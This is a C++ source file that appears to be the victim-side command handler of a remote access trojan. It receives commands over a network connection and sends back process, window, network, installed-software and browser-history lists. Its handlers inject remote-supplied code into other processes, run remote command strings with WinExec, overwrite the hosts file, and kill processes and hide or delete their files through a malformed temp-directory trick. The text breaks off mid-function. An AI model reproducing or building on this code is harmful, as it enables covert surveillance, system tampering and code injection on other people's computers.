// ShellManager.cpp: implementation of the CMachineManager class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "MachineManager.h" #include #include #include #include #include #include #include #include #pragma comment(lib,"Iphlpapi.lib") #pragma comment(lib,"Psapi.lib") #pragma comment(lib,"Wtsapi32.lib") #pragma comment(lib,"netapi32") #pragma comment(lib,"Setupapi.lib") #include #include ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// PidandStitle m_PidandStitle; PidandStitle::iterator it_m_PidandStitle; BSTR CharToBSTR(const char* input) { int len = MultiByteToWideChar(CP_ACP, 0, input, -1, NULL, 0); wchar_t* wide = new wchar_t[len]; MultiByteToWideChar(CP_ACP, 0, input, -1, wide, len); BSTR bstr = SysAllocString(wide); delete[] wide; return bstr; } std::string BSTRToUTF8(const BSTR bstr) { if (!bstr) return ""; int wideLen = SysStringLen(bstr); if (wideLen == 0) return ""; int utf8Len = WideCharToMultiByte(CP_UTF8, 0, bstr, wideLen, nullptr, 0, nullptr, nullptr); if (utf8Len <= 0) return ""; std::string utf8Str(utf8Len, '\0'); WideCharToMultiByte(CP_UTF8, 0, bstr, wideLen, &utf8Str[0], utf8Len, nullptr, nullptr); return utf8Str; } std::string WideToUtf8(LPCWSTR lpwstr) { if (!lpwstr) return ""; int size = WideCharToMultiByte(CP_UTF8, 0, lpwstr, -1, nullptr, 0, nullptr, nullptr); if (size <= 0) return ""; std::string result(size - 1, 0); WideCharToMultiByte(CP_UTF8, 0, lpwstr, -1, &result[0], size, nullptr, nullptr); return result; } std::string WideToAnsi(LPCWSTR lpwstr) { if (!lpwstr) return ""; int size = WideCharToMultiByte(CP_ACP, 0, lpwstr, -1, nullptr, 0, nullptr, nullptr); if (size <= 0) return ""; std::string result(size - 1, 0); WideCharToMultiByte(CP_ACP, 0, lpwstr, -1, &result[0], size, nullptr, nullptr); return result; } CMachineManager::CMachineManager(IOCPClient* ClientObject, int n, void* user) : CManager(ClientObject) { BYTE lpBuffer = TOKEN_SYSINFOLIST; Send((LPBYTE)&lpBuffer, 1); m_bUse = TRUE; m_dwServiceType = 0; } CMachineManager::~CMachineManager() { } void CMachineManager::OnReceive(PBYTE lpBuffer, ULONG nSize) { if (lpBuffer[0] == TOKEN_HEARTBEAT) return; switch (lpBuffer[0]) { case COMMAND_MACHINE_PROCESS: SendProcessList(); break; case COMMAND_MACHINE_WINDOWS: SendWindowsList(); break; case COMMAND_MACHINE_NETSTATE: SendNetStateList(); break; case COMMAND_MACHINE_SOFTWARE: SendSoftWareList(); break; case COMMAND_MACHINE_HTML: SendIEHistoryList(); break; case COMMAND_MACHINE_FAVORITES: SendFavoritesUrlList(); break; case COMMAND_MACHINE_WIN32SERVICE: m_dwServiceType = SERVICE_WIN32; SendServicesList(SERVICE_WIN32); break; case COMMAND_MACHINE_DRIVERSERVICE: m_dwServiceType = SERVICE_KERNEL_DRIVER; SendServicesList(SERVICE_KERNEL_DRIVER); break; case COMMAND_MACHINE_TASK: GetRoot(); break; case COMMAND_MACHINE_HOSTS: SendHostsList(); break; case COMMAND_DELETESERVERICE: DeleteService((LPBYTE)lpBuffer + 1, nSize - 1); break; case COMMAND_STARTSERVERICE: MyControlService((LPBYTE)lpBuffer + 1, 0); break; case COMMAND_STOPSERVERICE: MyControlService((LPBYTE)lpBuffer + 1, 1); break; case COMMAND_PAUSESERVERICE: MyControlService((LPBYTE)lpBuffer + 1, 2); break; case COMMAND_CONTINUESERVERICE: MyControlService((LPBYTE)lpBuffer + 1, 3); break; case COMMAND_APPUNINSTALL: WinExec((LPCSTR)lpBuffer + 1, SW_SHOW); break; case COMMAND_WINDOW_OPERATE: { //还原窗口 DWORD hwnd; DWORD dHow; memcpy((void*)&hwnd, lpBuffer + 1, sizeof(DWORD)); //得到窗口句柄 memcpy(&dHow, lpBuffer + 1 + sizeof(DWORD), sizeof(DWORD)); //得到窗口处理参数 ShowWindow((HWND__*)hwnd, dHow); } break; case COMMAND_WINDOW_CLOSE: { //关闭 DWORD hwnd; memcpy(&hwnd, lpBuffer + 1, sizeof(DWORD)); //得到窗口句柄 ::PostMessage((HWND__*)hwnd, WM_CLOSE, 0, 0); //向窗口发送关闭消息 } break; case COMMAND_PROCESS_KILLDEL: { HANDLE hProcess = NULL; DebugPrivilege(SE_DEBUG_NAME, TRUE); char strProcessName[MAX_PATH] = { 0 }; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + 1)); GetModuleFileNameEx(hProcess, NULL, strProcessName, sizeof(strProcessName)); BOOL bProcess = TerminateProcess(hProcess, 0); if (lpBuffer[0] && bProcess) { int n = 0; while (1) { DeleteFile(strProcessName); Sleep(200); if (GetFileAttributes(strProcessName) == -1) //检查文件不存在 退出 break; n++; if (n >= 10) //无法删除 一段时间后退出 break; } } CloseHandle(hProcess); DebugPrivilege(SE_DEBUG_NAME, FALSE); // 稍稍Sleep下，防止出错 Sleep(100); } break; case COMMAND_PROCESS_DEL: { HANDLE hProcess = NULL; DebugPrivilege(SE_DEBUG_NAME, TRUE); char strProcessName[MAX_PATH] = { 0 }; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + 1)); GetModuleFileNameEx(hProcess, NULL, strProcessName, MAX_PATH); if (lpBuffer[1]) { char Tem_path[MAX_PATH]; char path_one[MAX_PATH]; char path_two[MAX_PATH]; char path_three[MAX_PATH]; char path_four[MAX_PATH]; int n = 0; SECURITY_ATTRIBUTES SecAttr; SecAttr.nLength = sizeof(SECURITY_ATTRIBUTES); SecAttr.bInheritHandle = FALSE; SecAttr.lpSecurityDescriptor = NULL; while (1) { GetTempPath(MAX_PATH, Tem_path); srand((unsigned int)time(0)); int A = rand(); int B = A + 1; wsprintf(path_one, _T("%s%d"), Tem_path, A); CreateDirectory(path_one, &SecAttr); //CreateDirectoryA(目录, 安全性结构) wsprintf(path_two, _T("%s%s"), path_one, _T("\\....\\")); CreateDirectory(path_two, &SecAttr);// CreateDirectoryA(目录 ＋ “\....\”, 安全性结构) wsprintf(path_three, _T("%s\\%d"), path_two, B); MoveFile(strProcessName, path_three); //MoveFileA(文件名, 目录 ＋ “\....\” ＋ 字母) wsprintf(path_four, _T("%s\\%d"), path_one, B); MoveFile(path_two, path_four); // MoveFileA(目录 ＋ “\....\”, 目录 ＋ “\” ＋ 字母) DeleteFile(path_one); //删除目录(目录) Sleep(200); if (GetFileAttributes(strProcessName) == -1) //检查文件不存在 退出 return; n++; if (n >= 10) //无法删除 一段时间后退出 return; } } CloseHandle(hProcess); DebugPrivilege(SE_DEBUG_NAME, FALSE); // 稍稍Sleep下，防止出错 Sleep(100); } break; case COMMAND_PROCESS_KILL: { HANDLE hProcess = NULL; DebugPrivilege(SE_DEBUG_NAME, TRUE); char strProcessName[MAX_PATH] = { 0 }; hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, *(LPDWORD)(lpBuffer + 1)); GetModuleFileNameEx(hProcess, NULL, strProcessName, sizeof(strProcessName)); BOOL bProcess = TerminateProcess(hProcess, 0); CloseHandle(hProcess); DebugPrivilege(SE_DEBUG_NAME, FALSE); // 稍稍Sleep下，防止出错 Sleep(100); SendProcessList(); } break; case COMMAND_PROCESS_FREEZING: { HANDLE hProcess = NULL; DebugPrivilege(SE_DEBUG_NAME, TRUE); DWORD Pid = *(LPDWORD)(lpBuffer+1); THREADENTRY32 th32; th32.dwSize = sizeof(th32); HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (hThreadSnap == INVALID_HANDLE_VALUE) { break; } BOOL b = ::Thread32First(hThreadSnap, &th32); while (b) { if (th32.th32OwnerProcessID == Pid) { HANDLE oth = OpenThread(THREAD_ALL_ACCESS, FALSE, th32.th32ThreadID); ::SuspendThread(oth); CloseHandle(oth); } b = ::Thread32Next(hThreadSnap, &th32); } ::CloseHandle(hThreadSnap); } break; case COMMAND_PROCESS_THAW: { HANDLE hProcess = NULL; DebugPrivilege(SE_DEBUG_NAME, TRUE); DWORD Pid = *(LPDWORD)(lpBuffer+1); THREADENTRY32 th32; th32.dwSize = sizeof(th32); HANDLE hThreadSnap = ::CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); if (hThreadSnap == INVALID_HANDLE_VALUE) { break; } BOOL b = ::Thread32First(hThreadSnap, &th32); while (b) { if (th32.th32OwnerProcessID == Pid) { HANDLE oth = OpenThread(THREAD_ALL_ACCESS, FALSE, th32.th32ThreadID); ::ResumeThread(oth); CloseHandle(oth); break; } ::Thread32Next(hThreadSnap, &th32); } ::CloseHandle(hThreadSnap); } break; case COMMAND_HOSTS_SET: { char szHostsFile[MAX_PATH] = { 0 }; BOOL bIsWow64 = FALSE; HANDLE hFile = INVALID_HANDLE_VALUE; DWORD dwWritten; GetWindowsDirectory(szHostsFile, sizeof(szHostsFile)); ::IsWow64Process(::GetCurrentProcess(), &bIsWow64); if (bIsWow64) lstrcat(szHostsFile, _T("\\sysnative\\drivers\\etc\\hosts")); else lstrcat(szHostsFile, _T("\\system32\\drivers\\etc\\hosts")); SetFileAttributes(szHostsFile, FILE_ATTRIBUTE_NORMAL); hFile = CreateFile(szHostsFile, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) return; if (!WriteFile(hFile, lpBuffer + 1, nSize - 1, &dwWritten, NULL)) { CloseHandle(hFile); return; } CloseHandle(hFile); } break; case COMMAND_INJECT: { // lpBuffer, UINT nSize) if (nSize < sizeof(InjectData)) return; InjectData* p_InjectData =(InjectData*) (lpBuffer+1); byte* data = lpBuffer + sizeof(InjectData)+1; if ((nSize - sizeof(InjectData)-1) != p_InjectData->datasize) return; injectprocess(p_InjectData->mode, p_InjectData->ExeIsx86, p_InjectData->dwProcessID, data, p_InjectData->datasize, p_InjectData->strpath); } break; default: break; } } BOOL CMachineManager::DebugPrivilege(const char* PName, BOOL bEnable) { BOOL bResult = TRUE; HANDLE hToken; TOKEN_PRIVILEGES TokenPrivileges; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken)) { bResult = FALSE; return bResult; } TokenPrivileges.PrivilegeCount = 1; TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0; LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid); AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL); if (GetLastError() != ERROR_SUCCESS) { bResult = FALSE; } CloseHandle(hToken); return bResult; } BOOL DosPathToNtPath(LPTSTR pszDosPath, LPTSTR pszNtPath) { char szDriveStr[500]; char szDrive[3]; char szDevName[100]; INT cchDevName; INT i; //检查参数 if (!pszDosPath || !pszNtPath) return FALSE; //获取本地磁盘字符串 if (GetLogicalDriveStrings(sizeof(szDriveStr), szDriveStr)) { for (i = 0; szDriveStr[i]; i += 4) { if (!lstrcmpi(&(szDriveStr[i]), _T("A:\\")) || !lstrcmpi(&(szDriveStr[i]), _T("B:\\"))) continue; szDrive[0] = szDriveStr[i]; szDrive[1] = szDriveStr[i + 1]; szDrive[2] = _T('\0'); if (!QueryDosDevice(szDrive, szDevName, 100))//查询 Dos 设备名 return FALSE; cchDevName = lstrlen(szDevName); if (_tcsnccmp(pszDosPath, szDevName, cchDevName) == 0) { //命中 lstrcpy(pszNtPath, szDrive);//复制驱动器 lstrcat(pszNtPath, pszDosPath + cchDevName);//复制路径 return TRUE; } } } lstrcpy(pszNtPath, pszDosPath); return FALSE; } BOOL GetProcessUserName(HANDLE hProcess, char* strProcessUser) { HANDLE hToken = NULL; BOOL bFuncReturn = FALSE; PTOKEN_USER pToken_User = NULL; DWORD dwTokenUser = 0; char szAccName[MAX_PATH] = { 0 }; char szDomainName[MAX_PATH] = { 0 }; HANDLE hProcessToken = NULL; if (hProcess != NULL) { // 提升本进程的权限 bFuncReturn = ::OpenProcessToken(hProcess, TOKEN_QUERY, &hToken); if (bFuncReturn == 0) // 失败 return FALSE; if (hToken != NULL) { ::GetTokenInformation(hToken, TokenUser, NULL, 0L, &dwTokenUser); if (dwTokenUser > 0) { pToken_User = (PTOKEN_USER)::GlobalAlloc(GPTR, dwTokenUser); } if (pToken_User != NULL) { bFuncReturn = ::GetTokenInformation(hToken, TokenUser, pToken_User, dwTokenUser, &dwTokenUser); } if (bFuncReturn != FALSE && pToken_User != NULL) { SID_NAME_USE eUse = SidTypeUnknown; DWORD dwAccName = 0L; DWORD dwDomainName = 0L; PSID pSid = pToken_User->User.Sid; bFuncReturn = ::LookupAccountSid(NULL, pSid, NULL, &dwAccName, NULL, &dwDomainName, &eUse); if (dwAccName > 0 && dwAccName < MAX_PATH && dwDomainName>0 && dwDomainName <= MAX_PATH) { bFuncReturn = ::LookupAccountSid(NULL, pSid, szAccName, &dwAccName, szDomainName, &dwDomainName, &eUse); } if (bFuncReturn != 0) lstrcpy(strProcessUser, szAccName); } } } if (pToken_User != NULL) ::GlobalFree(pToken_User); if (hToken != NULL) ::CloseHandle(hToken); return TRUE; } void CMachineManager::SendProcessList() { UINT nRet = -1; LPBYTE lpBuffer = getProcessList(); if (lpBuffer == NULL) return; Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer)); LocalFree(lpBuffer); } static BOOL CALLBACK lpEnumFunc(HWND hwnd, LPARAM lParam) { if (NULL == hwnd) { return TRUE; } if (!::IsWindow(hwnd)) return TRUE; if (!IsWindowVisible(hwnd)) return TRUE; DWORD processId; GetWindowThreadProcessId( hwnd, // 窗口句柄 &processId // 接收 PID 的指针 ); int i = GetWindowTextLength(hwnd); char szBuf_title[MAX_PATH]; if (i > (MAX_PATH - 1)) return TRUE; GetWindowText( hwnd, // 窗口句柄 szBuf_title, // 接收窗口标题的缓冲区指针 i + 1 // 缓冲区字节大小 ); m_PidandStitle.insert(MAKE_PAIR(PidandStitle,processId, szBuf_title)); return TRUE; } bool CMachineManager::Is64BitOS() { typedef VOID(WINAPI* LPFN_GetNativeSystemInfo)(__out LPSYSTEM_INFO lpSystemInfo); LPFN_GetNativeSystemInfo fnGetNativeSystemInfo = (LPFN_GetNativeSystemInfo)GetProcAddress(GetModuleHandleW(L"kernel32"), "GetNativeSystemInfo"); if (fnGetNativeSystemInfo) { SYSTEM_INFO stInfo = { 0 }; fnGetNativeSystemInfo(&stInfo); if (stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64 || stInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) { return true; } } return false; } bool CMachineManager::Is64BitPorcess(DWORD dwProcessID) { if (!Is64BitOS()) { return FALSE; } else { HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwProcessID); if (hProcess) { typedef BOOL(WINAPI* LPFN_ISWOW64PROCESS) (HANDLE, PBOOL); LPFN_ISWOW64PROCESS fnIsWow64Process = (LPFN_ISWOW64PROCESS)GetProcAddress(GetModuleHandleW(L"kernel32"), "IsWow64Process"); if (NULL != fnIsWow64Process) { BOOL bIsWow64 = false; fnIsWow64Process(hProcess, &bIsWow64); CloseHandle(hProcess); if (bIsWow64) { return false; } else { return true; } } } } return false; } LPBYTE CMachineManager::getProcessList() { HANDLE hSnapshot = NULL; HANDLE hProcess = NULL; HMODULE hModules = NULL; PROCESSENTRY32 pe32 = { 0 }; DWORD cbNeeded; char strProcessName[MAX_PATH] = { 0 }; char strProcessUser[MAX_PATH] = { 0 }; char szImagePath[MAX_PATH] = { 0 }; LPBYTE lpBuffer = NULL; DWORD dwOffset = 0; DWORD dwLength = 0; DWORD dwWorkingSetSize = 0; DWORD dwFileSize = 0; PROCESS_MEMORY_COUNTERS pmc; DebugPrivilege(SE_DEBUG_NAME, TRUE); hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return NULL; pe32.dwSize = sizeof(PROCESSENTRY32); lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); lpBuffer[0] = TOKEN_MACHINE_PROCESS; dwOffset = 1; m_PidandStitle.clear(); it_m_PidandStitle = m_PidandStitle.begin(); while (it_m_PidandStitle != m_PidandStitle.end()) { m_PidandStitle.erase(it_m_PidandStitle++); } EnumWindows(lpEnumFunc, NULL); if (Process32First(hSnapshot, &pe32)) { do { hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe32.th32ProcessID); if ((pe32.th32ProcessID != 0) && (pe32.th32ProcessID != 4) && (pe32.th32ProcessID != 8)) { EnumProcessModules(hProcess, &hModules, sizeof(hModules), &cbNeeded); if (0 == GetProcessImageFileName(hProcess, szImagePath, MAX_PATH)) { lstrcpy(strProcessName, _T("---")); } else if (!DosPathToNtPath(szImagePath, strProcessName)) { } memset(strProcessUser, 0, sizeof(strProcessUser)); if (GetProcessUserName(hProcess, strProcessUser)) { if (lstrlen(strProcessUser) == 0) { lstrcpy(strProcessUser, _T("--")); } } else { lstrcpy(strProcessUser, _T("-")); } // 此进程占用数据大小 dwLength = sizeof(DWORD) * 5 + sizeof(bool) + MAX_PATH * sizeof(char) + lstrlen(pe32.szExeFile) * sizeof(char) + lstrlen(strProcessName) * sizeof(char) + lstrlen(strProcessUser) * sizeof(char) + 6; // 缓冲区太小，再重新分配下 if (LocalSize(lpBuffer) < (dwOffset + dwLength)) lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); memcpy(lpBuffer + dwOffset, &(pe32.th32ProcessID), sizeof(DWORD)); dwOffset += sizeof(DWORD); bool is64 = Is64BitPorcess(pe32.th32ProcessID); memcpy(lpBuffer + dwOffset, &is64, sizeof(bool)); dwOffset += sizeof(bool); it_m_PidandStitle = m_PidandStitle.find(pe32.th32ProcessID); if (it_m_PidandStitle == m_PidandStitle.end()) { //没有在列表就断开连接 让客户端重新发送登录信息 memcpy(lpBuffer + dwOffset, _T(""), MAX_PATH * sizeof(char)); } else { std::string str_title = it_m_PidandStitle->second; memcpy(lpBuffer + dwOffset, str_title.c_str(), str_title.length()*sizeof(char)); } dwOffset += MAX_PATH * sizeof(char); memcpy(lpBuffer + dwOffset, pe32.szExeFile, lstrlen(pe32.szExeFile) * sizeof(char) + 2); dwOffset += lstrlen(pe32.szExeFile) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, strProcessName, lstrlen(strProcessName) * sizeof(char) + 2); dwOffset += lstrlen(strProcessName) * sizeof(char) + 2; DWORD dwPriClass = GetPriorityClass(hProcess); memcpy(lpBuffer + dwOffset, &dwPriClass, sizeof(DWORD)); dwOffset += sizeof(DWORD); dwPriClass = pe32.cntThreads; memcpy(lpBuffer + dwOffset, &dwPriClass, sizeof(DWORD)); dwOffset += sizeof(DWORD); memcpy(lpBuffer + dwOffset, strProcessUser, lstrlen(strProcessUser) * sizeof(char) + 2); dwOffset += lstrlen(strProcessUser) * sizeof(char) + 2; ZeroMemory(&pmc, sizeof(pmc)); pmc.cb = sizeof(PROCESS_MEMORY_COUNTERS); if (GetProcessMemoryInfo(hProcess, &pmc, sizeof(pmc))) { dwWorkingSetSize = (DWORD)(pmc.WorkingSetSize / 1024); //单位为k } else dwWorkingSetSize = 0; memcpy(lpBuffer + dwOffset, &dwWorkingSetSize, sizeof(DWORD)); dwOffset += sizeof(DWORD); HANDLE handle = CreateFile(strProcessName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0); if (handle != INVALID_HANDLE_VALUE) { dwFileSize = GetFileSize(handle, NULL) / 1024; CloseHandle(handle); } else dwFileSize = 0; memcpy(lpBuffer + dwOffset, &dwFileSize, sizeof(DWORD)); dwOffset += sizeof(DWORD); } CloseHandle(hProcess);//新修改 } while (Process32Next(hSnapshot, &pe32)); } lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE); DebugPrivilege(SE_DEBUG_NAME, FALSE); CloseHandle(hSnapshot); return lpBuffer; } //根据进程ID获取窗口句柄 HWND CMachineManager::GetHwndByPid(DWORD dwProcessID) { //返回Z序顶部的窗口句柄 HWND hWnd = ::GetTopWindow(0); while (hWnd) { DWORD pid = 0; //根据窗口句柄获取进程ID DWORD dwTheardId = ::GetWindowThreadProcessId(hWnd, &pid); if (dwTheardId != 0) { if (pid == dwProcessID) { return hWnd; } } //返回z序中的前一个或后一个窗口的句柄 hWnd = ::GetNextWindow(hWnd, GW_HWNDNEXT); } return 0; } LPBYTE CMachineManager::getWindowsList() { LPBYTE lpBuffer = NULL; EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)&lpBuffer); lpBuffer[0] = TOKEN_MACHINE_WINDOWS; return lpBuffer; } void CMachineManager::SendWindowsList() { LPBYTE lpBuffer = getWindowsList(); if (lpBuffer == NULL) return; Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer)); LocalFree(lpBuffer); } void CMachineManager::SendNetStateList() { LPBYTE lpBuffer = getNetStateList(); if (lpBuffer == NULL) return; Send((LPBYTE)lpBuffer, (UINT)LocalSize(lpBuffer)); LocalFree(lpBuffer); } bool CALLBACK CMachineManager::EnumWindowsProc(HWND hwnd, LPARAM lParam) { if (NULL == hwnd) { return true; } if (!IsWindowVisible(hwnd)) return true; DWORD dwOffset = 0; LPBYTE lpBuffer = *(LPBYTE*)lParam; WINDOWSINFO m_ibfo; if (IsWindowVisible(hwnd)) { m_ibfo.canlook = true; } else { m_ibfo.canlook = false; } memset(m_ibfo.strTitle, 0, sizeof(m_ibfo.strTitle)); try { ::GetWindowText(hwnd, m_ibfo.strTitle, 1024); if (lpBuffer == NULL) { lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1); dwOffset = 1; } else { dwOffset = (DWORD)LocalSize(lpBuffer); } lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset + sizeof(WINDOWSINFO), LMEM_ZEROINIT | LMEM_MOVEABLE); } catch (...) { return true; } DWORD ProcessID; GetWindowThreadProcessId(hwnd, &ProcessID); RECT m_rect; ::GetWindowRect(hwnd, &m_rect); m_ibfo.w = m_rect.right - m_rect.left; m_ibfo.h = m_rect.bottom - m_rect.top; m_ibfo.m_poceessid = ProcessID; m_ibfo.m_hwnd = (DWORD)hwnd; memcpy(lpBuffer + dwOffset, &m_ibfo, sizeof(WINDOWSINFO)); *(LPBYTE*)lParam = lpBuffer; return true; } void CMachineManager::SendSoftWareList() { LPBYTE lpBuffer = getSoftWareList(); if (lpBuffer == NULL) return; Send((LPBYTE)lpBuffer, (int)LocalSize(lpBuffer)); LocalFree(lpBuffer); } LPBYTE CMachineManager::getSoftWareList() { const int MAX_LEG = 256 * sizeof(char); LPBYTE lpBuffer = NULL; DWORD dwOffset = 1; DWORD dwLength = 0; char regBufferValue[MAX_LEG] = { 0 }; char regDisplayName[MAX_LEG] = { 0 }; char regPublisher[MAX_LEG] = { 0 }; char regDisplayVersion[MAX_LEG] = { 0 }; char regInstallData[MAX_LEG] = { 0 }; char regUninstallString[MAX_LEG] = { 0 }; lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024); if (lpBuffer == NULL) return NULL; lpBuffer[0] = TOKEN_MACHINE_SOFTWARE; int n = 0; HKEY hKey; DWORD dwRegNum = MAX_LEG; char regBufferName[MAX_LEG] = { 0 }; if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"), NULL, KEY_READ, &hKey) == ERROR_SUCCESS) { if (RegQueryInfoKey(hKey, NULL, NULL, NULL, &dwRegNum, NULL, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { for (int i = 0; i < (int)dwRegNum; i++) { DWORD dwRegSize = MAX_LEG; RegEnumKeyEx(hKey, i, regBufferName, &dwRegSize, NULL, NULL, NULL, NULL); DWORD dwType; HKEY hSubKey; if (RegOpenKeyEx(hKey, regBufferName, NULL, KEY_READ, &hSubKey) == ERROR_SUCCESS) { dwRegSize = MAX_LEG; memset(regDisplayName, 0, MAX_LEG); RegQueryValueEx(hSubKey, _T("DisplayName"), 0, &dwType, (LPBYTE)regDisplayName, &dwRegSize); dwRegSize = MAX_LEG; memset(regBufferValue, 0, MAX_LEG); // 取ParentKeyName键值,判断是否是补丁信息, 是补丁信息键值为"OperatingSystem" RegQueryValueEx(hSubKey, _T("ParentKeyName"), 0, &dwType, (LPBYTE)regBufferValue, &dwRegSize); if (lstrlen(regDisplayName) == 0 || lstrcmp(regBufferValue, _T("OperatingSystem")) == 0) { //判断是否是补丁信息 continue; } dwRegSize = MAX_LEG; memset(regPublisher, 0, MAX_LEG); RegQueryValueEx(hSubKey, _T("Publisher"), 0, &dwType, (LPBYTE)regPublisher, &dwRegSize); dwRegSize = MAX_LEG; memset(regDisplayVersion, 0, MAX_LEG); RegQueryValueEx(hSubKey, _T("DisplayVersion"), 0, &dwType, (LPBYTE)regDisplayVersion, &dwRegSize); dwRegSize = MAX_LEG; memset(regInstallData, 0, MAX_LEG); // 判断是否能在注册表中获取到安装时间, 否取子项创建时间 if (RegQueryValueEx(hSubKey, _T("InstallDate"), 0, &dwType, (LPBYTE)regInstallData, &dwRegSize) == ERROR_SUCCESS) { } else { FILETIME fileLastTime; RegQueryInfoKey(hSubKey, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, &fileLastTime); SYSTEMTIME sTime, stLocal; FileTimeToSystemTime(&fileLastTime, &sTime); SystemTimeToTzSpecificLocalTime(NULL, &sTime, &stLocal); char tchTime[MAX_LEG] = { 0 }; wsprintf(tchTime, _T("%d%02d%02d"), stLocal.wYear, stLocal.wMonth, stLocal.wDay); lstrcpy(regInstallData, tchTime); } dwRegSize = MAX_LEG; memset(regUninstallString, 0, MAX_LEG); RegQueryValueEx(hSubKey, _T("UninstallString"), 0, &dwType, (LPBYTE)regUninstallString, &dwRegSize); // 缓冲区太小，再重新分配下 dwLength = lstrlen(regDisplayName) * sizeof(char) + lstrlen(regPublisher) * sizeof(char) + lstrlen(regDisplayVersion) * sizeof(char) + lstrlen(regInstallData) * sizeof(char) + lstrlen(regUninstallString) * sizeof(char) + 11; if (LocalSize(lpBuffer) < (dwOffset + dwLength)) lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, (dwOffset + dwLength), LMEM_ZEROINIT | LMEM_MOVEABLE); memcpy(lpBuffer + dwOffset, regDisplayName, lstrlen(regDisplayName) * sizeof(char) + 2); dwOffset += lstrlen(regDisplayName) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, regPublisher, lstrlen(regPublisher) * sizeof(char) + 2); dwOffset += lstrlen(regPublisher) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, regDisplayVersion, lstrlen(regDisplayVersion) * sizeof(char) + 2); dwOffset += lstrlen(regDisplayVersion) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, regInstallData, lstrlen(regInstallData) * sizeof(char) + 2); dwOffset += lstrlen(regInstallData) * sizeof(char) + 2; memcpy(lpBuffer + dwOffset, regUninstallString, lstrlen(regUninstallString) * sizeof(char) + 2); dwOffset += lstrlen(regUninstallString) * sizeof(char) + 2; } } } } else { return FALSE; //打开键失败 } RegCloseKey(hKey); if (Is64BitOS()) { if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall"), NULL, KEY_READ | KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS) { if (RegQueryInfoKey(hKey, NULL, NULL, NULL, &dwRegNum, NULL, NULL, NULL, NULL, NULL, NULL, NULL) == ERROR_SUCCESS) { for (int i = 0; i < (int)dwRegNum; i++) { DWORD dwRegSize = MAX_LEG; RegEnumKeyEx(hKey, i, regBufferName, &dwRegSize, NULL, NULL, NULL, NULL); DWORD dwType; HKEY hSubKey; if (RegOpenKeyEx(hKey, regBufferName, NULL, KEY_READ, &hSubKey) == ERROR_SUCCESS) { dwRegSize = MAX_LEG; memset(regDisplayName, 0, MAX_LEG); RegQueryValueEx(hSubKey, _T("DisplayName"), 0, &dwType, (LPBYTE)regDisplayName, &dwRegSize); dwRegSize = MAX_LEG; memset(regBufferValue, 0, MAX_LEG); // 取ParentKeyName键值,判断是否是补丁信息, 是补丁信息键值为"OperatingSystem" RegQueryValueEx(hSubKey, _T("ParentKeyName"), 0, &dwType, (LPBYTE)regBufferValue, &dwRegSize); if (lstrlen(regDisplayName) == 0 || lstrcmp(regBufferValue, _T("OperatingSystem")) == 0) { //判断是否是补丁信息 continue; } dwRegSize = MAX_LEG; memset(regPublisher, 0, MAX_LEG); RegQueryValueEx(hSubKey, _T("Publisher"), 0, &dwType, (LPBYTE)regPublisher, &dwRegSize); dwRegSize = MAX_LEG; memset(regDisplayVersion, 0, MAX_LEG); RegQueryValueEx(hSubKey, _T("DisplayVersion"), 0, &dwType, (LPBYTE)regDisplayVersion, &dwRegSize); dwRegSize = MAX_LEG; memset(regInstallData, 0, MAX_LEG); // 判断是否能在注册表中获取到安装时间, 否取子项创建时间 if (RegQueryValueEx(hSubKey, _T("InstallDate"), 0, &dwType, (LPBYTE)regInstallData, &dwRegSize) == ERROR_SUCCESS) { char Year[5], Month[5], Day[5]; lstrcpyn(Year, regInstallData, 5); lstrcpyn(Month, regInstallData + 4, 3); lstrcpyn(Day, regInstallData + 4 + 2, 3); wsprintf(regInstallData, _T("%s/%s/%s"), Year, Month, Day); } else { FILETIME fileLastTime; RegQueryInfoKey(hSubKey, NULL, NULL, NULL, NULL, 